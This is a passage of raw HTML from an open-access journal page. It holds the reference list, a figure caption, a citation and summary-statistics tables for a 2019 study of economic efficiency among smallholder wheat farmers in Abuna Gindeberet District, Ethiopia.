improving the soil status by working closely with the farmers.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">UNDP (United Nations development programme) (2018) Ethiopia&#39;s progress to warding eradicating poverty. Paper to be presented to the inter-agency group meeting on the implementation of the third United Nations decade for the eradication of poverty (2018-2027) Addis Abeba, Ethiopia.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">WFP (Food and Agricultural Organization and World Food Programme) (2012) Crop and Food Security Assessment Mission to Ethiopia. Special Report of Food and Agriculture Organization and World Food Programme. </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">FAO (Food and Agriculture Organization) (2015) Food Balance Sheets. FAOSTAT. Rome.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Minot N, Warner J, Lemma S, Kassa L, Gashaw A, et al. (2015) The Wheat Supply Chain in Ethiopia: Patterns, Trends, and Policy Options. International Food Policy Research Institute (IFPRI) Washington, DC.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Omer Gebremedhin (2015) Bread wheat production in small scale irrigation users agro-pastoral households in Ethiopia: Case of Afar and Oromia regional state. International Journal of Agricultural Economics and Extension 3: 144-150.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">CSA (2017) Agricultural Sample Survey 2016/2017 (2009 E.C.): Volume I &ndash; Report on area and production of major crops (Private peasant holdings, Meher season). Statistical Bulletin, Central Statistical Agency, Addis Ababa, Ethiopia.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Tolesa A, Bezabih E, Jema H, and Belay L (2014) Smallholder Wheat Production Efficiency in Selected Agro ecological Zones of Ethiopia: A Parametric Approach. Journal of Economics and Sustainable Development 5: 3.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Kifle D, Moti J, Belaineh L (2017) Economic efficiency of smallholder farmers in maize production in Bako Tibe district, Ethiopia. Development Country Studies 7: 2.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1080/09709274.2013.11906554\">Geta E, Bogale A, Kassa B, Elias E (2013) Productivity and efficiency analysis of smallholder maize producers in Southern Ethiopia. Journal of Human Ecology 41: 67-75.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Mesay Y, Tesfaye S, Bedada B, Fekadu F, Tolesa A, et al. (2013) Source of technical inefficiency of smallholder wheat farmers in selected waterlogged areas of Ethiopia: A translog production function approach. African Journal of Agricultural Research 8.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.5897/jdae2015.0652\">Sisay D, J Haji, D Goshu, AK Edriss &nbsp;(2015) Technical, allocative, and economic efficiency among smallholder maize farmers in Southwestern Ethiopia. Journal of Development and Agricultural Economics 7: 283-292.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Fekadu G and Bezabih E (2008) Analysis of Technical Efficiency of Wheat Production: A Study in Machakel Woreda, Ethiopia. Ethiopian Journal of Agricultural Economics 7.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Hassen Beshir (2016) Technical Efficiency Measurement and Their Differential in Wheat Production: The Case of Smallholder Farmers in South Wollo. Wollo University, Department of Agricultural Economics, P.O. Box 1145, Ethiopia. International Journal of Economics, Business and Finance 4: 1-16. </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.5897/ajar2016.11310\">Kaleb K and Negatu W (2016) Analysis of levels and determinants of technical efficiency of wheat producing farmers in Ethiopia. Ethiopian Institute of Agricultural Research Addis Ababa University, Ethiopia. African Journal of Agricultural Research 11: 3391-3403.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Assefa Ayele (2016) Technical Efficiency of Smallholder Wheat Production in Soro District of Hadiya Zone, Southern Ethiopia. M.Sc. Thesis Haramaya University.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.5897/jdae2015.0660\">Getahun W and Geta E (2016) Technical Efficiency of Smallholder Wheat Farmers: The Case of Welmera District, Central Oromia, Ethiopia. Journal of Development and Agricultural Economics 8: 39-51.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Solomon B (2012) Economic efficiency of wheat seed production in the case of smallholders in west Gojjam zone. M.Sc. thesis presented to the School of Graduate Studies, Haramaya University, Ethiopia.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Awol Ahmed (2014) Economic Efficiency of Rain-Fed Wheat Producing Farmer&rsquo;s in North Eastern Ethiopia: The Case of Albuko District. MSc Thesis Presented to the School of Graduate Studies, Haramaya University.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">AGDANRDO (Abuna Gindeberet District Agriculture and Natural Resource Development Office). 2016/17. Abuna Gindeberet District Agriculture and Natural Resource Development Office, the annual report. Ambo, Ethiopia.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Yamane TI (1967) Statistics: An Introductory Analysis 2<sup>nd</sup> Edition. New York, Harper and Row.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Musa H, Lemma Z and Endrias G (2015) Measuring Technical, Allocative and Economic Efficiency of Maize Production in Subsistence Farming: Evidence from the Central Rift Valley of Ethiopia. Applied Studies in Agribusiness and Commerce.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/0304-4076(77)90052-5\">Aigner D, Lovell CAK, Schmidt P (1977) Formulation and estimation of stochastic production function models. Journal of Economics 6: 21-37.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1007/bf01205442\">Battese GE and TJ Coelli (1995) A model for technical inefficiency effects in a stochastic frontier production function for panel data. Empirical Economics 20: 325-332.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Maddala GS (1999) Limited dependent variable in econometrics. Cambridge University<br />\r\n	Press, New York.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Greene WH (2003) Econometric Analysis, 5<sup>th</sup> ed. Pearson Education Inc., Upper Saddle<br />\r\n	River, New Jersey.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.2307/3146791\">Gould B, W Saup and R Klemme (1989) Conservation tillage: the role of farm and operator<br />\r\n	characteristics and the perception of soil erosion. Land Economics 65: 167-182.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.2307/1924766\">McDonald JF and RA Moffitt (1980) The use of Tobit analysis. Review of Economics and<br />\r\n	Statistics. 62: 318-321.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.18488/journal.68/2015.2.1/68.1.8.21\">Ermiyas M, Endrias G and Belaineh L (2015) Economic Efficiency of Sesame Production in Selamago District of South Omo Zone, Southern Ethiopia. Journal of Agricultural Sciences 2: 8-21.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Mustefa B (2017) Economic Efficiency of Maize Producing Farmers in Chole districts, East Arsi Zone, Oromia National Regional State, Ethiopia. M.Sc. thesis presented to school of graduate studies, Haramaya University. </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Nigusu A (2018) Economic Efficiency of smallholder Teff Production:&nbsp; The Case of Debra Libanos District, Oromia National Regional State, Ethiopia. M.Sc. Thesis, Jimma University.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Getachew M and Bamlak A (2014) Analysis of Technical Efficiency of Small Holder Maize Growing Farmers of Horo Guduru Wollega Zone, Ethiopia: A Stochastic Frontier Approach.&nbsp; Research Journal of Science, Technology and Arts 204-212. </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Ali AA, Imad EE, Abdel Karim Yousif (2012) Economic efficiency of wheat and faba bean production for small scale farmers in Northern state of Sudan. Journal of animal &amp; plant sciences 22: 215-223.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Gosa A and Jema H (2016) Economic Efficiency of Sorghum Production for Smallholder Farmers in Eastern Ethiopia: The Case of Habro District. Journal of Economics and Sustainable Development 7.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Meftu A (2016) Economic Efficiency of Groundnut Production: The Case of Gursum District, East Hararghe Zone, Oromia National Regional State, Ethiopia. M.Sc. thesis. Haramaya University, Ethiopia.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Jema H (2008) Economic Efficiency and Marketing Performance of Vegetable Production in the Eastern and Central Parts of Ethiopia; Doctoral Thesis, Swedish University of Agricultural Sciences, Uppsala, Sweden. </span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/13359142a.jpg\" style=\"height:285px; width:635px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure </strong><!--[if supportFields]><b\r\nstyle=\'mso-bidi-font-weight:normal\'><span style=\'font-size:10.0pt;line-height:\r\n115%;font-family:\"Calibri\",sans-serif;mso-ascii-theme-font:minor-latin;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-hansi-theme-font:\r\nminor-latin;mso-bidi-font-family:\"Times New Roman\";mso-bidi-theme-font:minor-bidi;\r\nmso-ansi-language:EN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Figure \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span></b><![endif]--><strong>1</strong><!--[if supportFields]><b\r\nstyle=\'mso-bidi-font-weight:normal\'><span style=\'font-size:10.0pt;line-height:\r\n115%;font-family:\"Calibri\",sans-serif;mso-ascii-theme-font:minor-latin;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-hansi-theme-font:\r\nminor-latin;mso-bidi-font-family:\"Times New Roman\";mso-bidi-theme-font:minor-bidi;\r\nmso-ansi-language:EN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span></b><![endif]--><strong>:</strong> Frequency distribution of technical, allocative and economic efficiencies scores</span></span></p>\r\n','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Asfaw M, Geta E, Mitiku F (2019) Economic Efficiency of Smallholder Farmers in Wheat Production: The Case of Abuna Gindeberet District, Oromia National Regional State, Ethiopia. Open Acc J Agri Res: OAJAR-100013.</span></span></p>\r\n','<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#4caf50; width:149.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Variables</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:76.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Unit</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:58.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:94.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Std.Dev.</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:45pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Min</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:0.75in\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Max</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Output</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Quintal</span></p>\r\n			</td>\r\n			<td style=\"width:58.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15.08</span></p>\r\n			</td>\r\n			<td style=\"width:94.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10.8</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">57</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Seed</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Kilogram</span></p>\r\n			</td>\r\n			<td style=\"width:58.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">122.75</span></p>\r\n			</td>\r\n			<td style=\"width:94.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">85.57</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">20.00</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">445</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Land</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Hectare</span></p>\r\n			</td>\r\n			<td style=\"width:58.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.712</span></p>\r\n			</td>\r\n			<td style=\"width:94.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.45</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.125</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Labor</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Man-days</span></p>\r\n			</td>\r\n			<td style=\"width:58.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">62.21</span></p>\r\n			</td>\r\n			<td style=\"width:94.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">37.4</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10.00</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">215.6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mineral fertilizers</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Kilogram</span></p>\r\n			</td>\r\n			<td style=\"width:58.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">118.09</span></p>\r\n			</td>\r\n			<td style=\"width:94.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">82.9</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">20.00</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">525</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Oxen</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Oxen-days</span></p>\r\n			</td>\r\n			<td style=\"width:58.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">29.43</span></p>\r\n			</td>\r\n			<td style=\"width:94.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15.62</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.00</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">81</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Total cost of production </span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Birr</span></p>\r\n			</td>\r\n			<td style=\"width:58.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13,607.46</span></p>\r\n			</td>\r\n			<td style=\"width:94.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10,274.58</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1,700</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">59,850</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Cost of seed</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Birr</span></p>\r\n			</td>\r\n			<td style=\"width:58.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9,73.48</span></p>\r\n			</td>\r\n			<td style=\"width:94.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">900.65</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">131.25</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6500</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Cost of land</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Birr</span></p>\r\n			</td>\r\n			<td style=\"width:58.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4,037.45</span></p>\r\n			</td>\r\n			<td style=\"width:94.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2,492.11</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">678.12</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12000</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Cost of labor</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Birr</span></p>\r\n			</td>\r\n			<td style=\"width:58.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,644.37</span></p>\r\n			</td>\r\n			<td style=\"width:94.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2,199.40</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">650</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11858</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Cost of mineral fertilizers</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Birr</span></p>\r\n			</td>\r\n			<td style=\"width:58.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1,240.15</span></p>\r\n			</td>\r\n			<td style=\"width:94.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">888.17</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">202.8</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6037.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Cost of oxen</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Birr</span></p>\r\n			</td>\r\n			<td style=\"width:58.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,217.05</span></p>\r\n			</td>\r\n			<td style=\"width:94.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1,767.18</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">475</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11400</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"6\" style=\"width:478.2pt\">\r\n			<p style=\"margin-left:5.4pt; text-align:center\"><span style=\"font-size:10.0pt\">Source: own computation (2018)</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table </strong><!--[if supportFields]><b\r\nstyle=\'mso-bidi-font-weight:normal\'><span style=\'font-size:10.0pt;line-height:\r\n115%;font-family:\"Calibri\",sans-serif;mso-ascii-theme-font:minor-latin;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-hansi-theme-font:\r\nminor-latin;mso-bidi-font-family:\"Times New Roman\";mso-bidi-theme-font:minor-bidi;\r\nmso-ansi-language:EN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span></b><![endif]--><strong>1</strong><!--[if supportFields]><b\r\nstyle=\'mso-bidi-font-weight:normal\'><span style=\'font-size:10.0pt;line-height:\r\n115%;font-family:\"Calibri\",sans-serif;mso-ascii-theme-font:minor-latin;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-hansi-theme-font:\r\nminor-latin;mso-bidi-font-family:\"Times New Roman\";mso-bidi-theme-font:minor-bidi;\r\nmso-ansi-language:EN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span></b><![endif]--><strong>: </strong>Summary statistics of variables used to estimate the production and&nbsp;cost function</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:661px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:198.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Variables</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:45pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Mean</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Std. Dev.</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:103.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Percentage of the mean with dummy = 0</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:99pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Percentage of the mean with dummy = 1</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:198.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Age of the household head (years)</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">47.89</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10.05</span></p>\r\n			</td>\r\n			<td style=\"width:103.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:198.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Family size (ME)</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.12</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.80</span></p>\r\n			</td>\r\n			<td style=\"width:103.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:198.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Educational level (years)</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.82</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3.04</span></p>\r\n			</td>\r\n			<td style=\"width:103.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n		